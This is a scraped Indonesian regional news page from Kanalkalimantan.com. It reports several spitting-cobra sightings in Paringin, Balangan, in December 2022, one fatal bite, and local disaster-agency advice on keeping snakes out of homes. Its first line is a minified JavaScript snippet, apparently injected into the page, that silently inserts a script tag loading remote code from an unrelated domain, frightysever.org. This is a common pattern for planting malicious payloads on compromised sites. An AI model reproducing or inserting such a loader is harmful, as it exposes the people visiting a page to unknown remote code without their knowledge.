(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Balangan

AWAS. Serbuan Ular Mura, TRC BPBD Balangan: Satu Orang Meninggal!


KANALKALIMANTAN.COM, PARINGIN – Tim Reaksi Cepat (TRC) BPBD Kabupaten Balangan menerima empat laporan terkait ular sembur atau jenis mura di pemukiman warga di Kecamatan Paringin, Kabupaten Balangan yang mengakibatkan satu warga meninggal dunia.

Ular mura (sebutan masyarakat sekitar, Red) atau nama lainnya adalah ular sendok Sumatera, merupakan spesies ular sendok penyembur (Spitting cobra) yang endemik di Asia Tenggara.

Minggu (25/12/2022), Sabriansyah (55), warga Desa Haur Batu RT 13  Kecamatan  Paringin Kabupaten Balangan, sekitar pukul 18:25 Wita, meninggal digigit ular tersebut saat akan ke dapur untuk menyalakan api. Meskipun sempat dilarikan ke RSUD Balangan, nyawa korban tidak tertolong.

Lalu Selasa (26/12/2022) pukul 16.00 Wita, TRC BPBD juga menerima informasi adanya ular yang memasuki rumah warga, di Desa Haur Batu, Kecamatan Paringin. TRC BPBD berhasil menangkap ular jenis mura.

 

Baca juga  : Kelurahan Bangkal Mendapat Nilai Prima dari BNN

Dan Rabu (27/12/2022) pukul 09.00 wita, kembali TRC BPBD mendapatkan laporan di wilayah Desa Haur Batu, Kecamatan Paringin Kembali menangkap ular jenis Mura di pemukiman warga.

Ketua TRC BPBD Balangan Kudratullah menyampaikan bahwa pihaknya sudah mengeluarkan imbauan terkait ular kobra di musim penghujan ini.

Ia mengatakan kalau di awal musim penghujan adalah musim ular kobra menetas, dari November hingga Januari ular kobra maupun bayi-bayi cobra banyak yang bermunculan di pemukiman warga.

Baca juga  : Cuaca Ekstrem di Kalsel, BMKG: Potensi Angin Kencang Hingga Januari 2023

“Kita perlu waspada karena gigitan ular kobra mampu melumpuhkan saraf dan otot mangsanya hanya dalam beberapa menit saja,” katanya saat ditemui, Rabu (28/12/2022).

Ia juga memberikan tips agar mencegah ular masuk rumah, pertama bersihkan rumah dari tumpukan sampah sisa makanan kardus dan lain-lain. ular tidak suka bau tajam, jadi bisa menggunakan pembersih lantai atau kapur barus, kemudian tutup semua lubang air dan selokan.(Kanalkalimantan.com/alfi)

Reporter : alfi
Editor : cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.